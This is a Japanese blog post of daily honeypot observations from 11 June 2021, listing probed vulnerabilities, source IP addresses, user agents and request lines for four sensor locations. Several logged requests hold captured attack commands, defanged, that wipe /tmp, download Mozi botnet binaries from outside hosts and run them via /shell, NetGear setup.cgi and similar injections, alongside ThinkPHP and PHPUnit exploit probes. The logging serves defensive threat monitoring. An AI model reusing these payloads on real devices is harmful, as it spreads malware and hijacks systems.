コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2021/06/11 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2021/06/11分です。

特徴
共通

Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為
WordPress Pluginへのスキャン行為

Location：JP

GPONルータの脆弱性を狙うアクセス
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//178[.]175[.]40[.]156:45508/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：US

NetGear製品の脆弱性を狙うアクセス
/.envへのスキャン行為
104[.]149[.]194[.]78に関する不正通信
UserAgentがHello, worldであるアクセス
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http[:]//117[.]93[.]114[.]224:55475/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location：UK

NetGear製品の脆弱性を狙うアクセス
を確認しました。

Location：SG

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

他
アクセス数推移

JP：総アクセス数：72 (前日比：-92)
US：総アクセス数：28 (前日比：-120)
UK：総アクセス数：30 (前日比：-114)
SG：総アクセス数：69 (前日比：+33)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.53 Romania
1 3.22.61.76 United States
2 3.231.164.203 United States
1 40.121.159.159 United States
15 45.146.165.123 Russia
1 47.241.193.60 United States
1 51.89.117.194 France
1 51.159.31.151 France
9 52.231.13.90 United States
1 68.183.80.7 United States
4 71.6.135.131 United States
1 104.131.181.223 United States
6 104.248.0.24 United States
1 105.158.191.196 Morocco
1 112.239.127.10 China
6 135.125.246.189 France
9 165.22.224.73 United States
1 172.104.242.173 United States
1 178.175.40.156 Albania
4 185.142.236.40 Seychelles
1 192.241.214.230 United States
1 192.241.215.108 United States
1 192.241.219.118 United States
1 192.241.221.103 United States
1 206.189.137.187 United States

UserAgent一覧

件数 UserAgent
12 -
1 Hello, World
1 Hello, world
1 Mozilla/4.08 (Charon; Inferno)
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
15 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Spotify / 1.1.39.612 Safari / 537.36
22 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 zgrab/0.x
1 Roku/DVP-9.10 (289.10E04111A)

リクエスト内容一覧

件数 Method Request Protocol
1 -
15 GET /.env HTTP/1.1
2 GET /.well-known/security.txt HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /Login/Login.aspx HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /c/version.js HTTP/1.1
1 GET /client_area/ HTTP/1.1
1 GET /config.js HTTP/1.1
1 GET /console/ HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
3 GET /phpmyadmin/ HTTP/1.1
1 GET /portal/redlion HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//178[.]175[.]40[.]156:45508/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
2 GET /sitemap.xml HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/c/ HTTP/1.1
2 GET /stalker_portal/c/version.js HTTP/1.1
2 GET /stream/live.php HTTP/1.1
2 GET /streaming/clients_live.php HTTP/1.1
3 GET /system_api.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
3 GET /xmlrpc.php?rsd HTTP/1.1
1 GET http[:]//passport[.]baidu[.]com/ HTTP/1.1
2 HEAD / HTTP/1.0\n
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
1 POST /fb16/fre.php HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 3.239.182.244 United States
1 14.138.109.26 South Korea
11 45.146.165.123 Russia
1 52.188.206.167 United States
1 61.152.193.57 China
1 62.210.88.212 France
1 117.93.114.224 China
1 134.119.189.155 Germany
1 134.122.51.221 United States
3 163.172.161.118 United Kingdom
1 192.241.217.160 United States
1 192.241.219.20 United States
1 192.241.220.107 United States
1 192.241.221.66 United States
1 194.48.199.78 United Kingdom
1 206.189.137.187 United States

UserAgent一覧

件数 UserAgent
5 -
1 Hello, world
1 Mozilla/4.08 (Charon; Inferno)
2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2; rv:52.0) Gecko/20100101 Firefox/52.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
1 CONNECT www[.]bing[.]com/:443 HTTP/1.1
2 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//117[.]93[.]114[.]224:55475/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//104[.]149[.]194[.]78:80/ HTTP/1.1
1 GET http[:]//www[.]bing[.]com/ HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /fb16/fre.php HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST http[:]//getbusy[.]best/01eeb9f01301cfbd64fe55b575260394fbb05cd0b45d04960c2bc74d8819408405053798d957573815833b1767d820a4ae4ab539ecf9a0993a204ec133bbb33a7cdf0f44ab9d4832a95351dae75cff22cea425dc849cddedf01b4d643abc006b HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 40.121.159.159 United States
11 45.146.165.123 Russia
1 46.243.90.218 Germany
5 50.31.21.11 United States
1 51.81.196.145 United States
1 64.225.49.18 United States
1 89.248.165.240 United Kingdom
1 134.122.15.187 United States
1 144.91.79.8 Germany
1 178.175.19.76 Albania
1 183.136.225.14 China
1 192.241.214.99 United States
1 192.241.215.189 United States
1 192.241.220.208 United States
1 192.241.221.44 United States
1 221.15.147.10 China

UserAgent一覧

件数 UserAgent
4 -
1 Java/1.8.0_261
1 Mozilla/4.08 (Charon; Inferno)
5 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4216.0 Safari/537.36 Edg/86.0.598.0
11 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
1 CONNECT www[.]spotify[.]com/:443 HTTP/1.1
2 GET /.env HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /evox/about HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /nmaplowercheck1623281706 HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//178[.]175[.]19[.]76:57107/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/jsonws/invoke HTTP/1.1
1 POST /fb16/fre.php HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 40.121.159.159 United States
22 45.146.165.123 Russia
1 47.241.193.60 United States
1 63.35.229.37 United States
1 68.183.80.52 United States
2 81.68.111.76 China
1 112.94.101.167 China
19 129.204.8.130 China
1 134.119.189.155 Germany
1 134.122.59.1 United States
1 146.59.18.57 France
1 172.104.242.173 United States
1 178.72.68.203 Russia
2 185.86.6.162 Turkey
4 185.165.190.34 Seychelles
1 192.241.216.35 United States
1 192.241.220.40 United States
1 192.241.221.243 United States
1 192.241.222.114 United States
1 194.48.199.78 United Kingdom
5 208.100.26.230 United States

UserAgent一覧

件数 UserAgent
6 -
2 Go-http-client/1.1
2 Hello, World
1 Mozilla/4.08 (Charon; Inferno)
5 Mozilla/5.0 (Linux; Android 8.1.0; SM-G610F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
22 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
17 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
5 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 zgrab/0.x

リクエスト内容一覧

件数 Method Request Protocol
4 GET /.env HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /0bef HTTP/1.0
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /ReportServer HTTP/1.1
2 GET /TP/html/public/index.php HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
2 GET /console/ HTTP/1.1
2 GET /elrekt.php HTTP/1.1
1 GET /evox/about HTTP/1.1
1 GET /favicon.ico HTTP/1.1
2 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /images/Nxrs4tAtO/HCw4_2FQ7o69dmQEodXU/_2Fua56jJgWqt8tN1Tx/0M9Tus5G1nAOe_2BJflcrm/2nz3T7AxG_2Fd/YnZ7Cn6A/zq1HlKYZhiFyQLgflmvIbb1/yQL2MK3UaK/00uQsiMnxrcs4C9gN/xpGuwRLuq6tH/7YwEr.avi HTTP/1.1
3 GET /index.php HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP21 HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
1 GET /nmaplowercheck1623331427 HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /portal/redlion HTTP/1.1
2 GET /public/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /thinkphp/html/public/index.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/wp-file-manager/readme.txt HTTP/1.1
1 GET http[:]//passport[.]baidu[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
1 POST /.env HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
2 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /api/jsonws/invoke HTTP/1.1
1 POST /fb16/fre.php HTTP/1.1
2 POST /index.php?s=captcha HTTP/1.1
1 POST /sdk HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1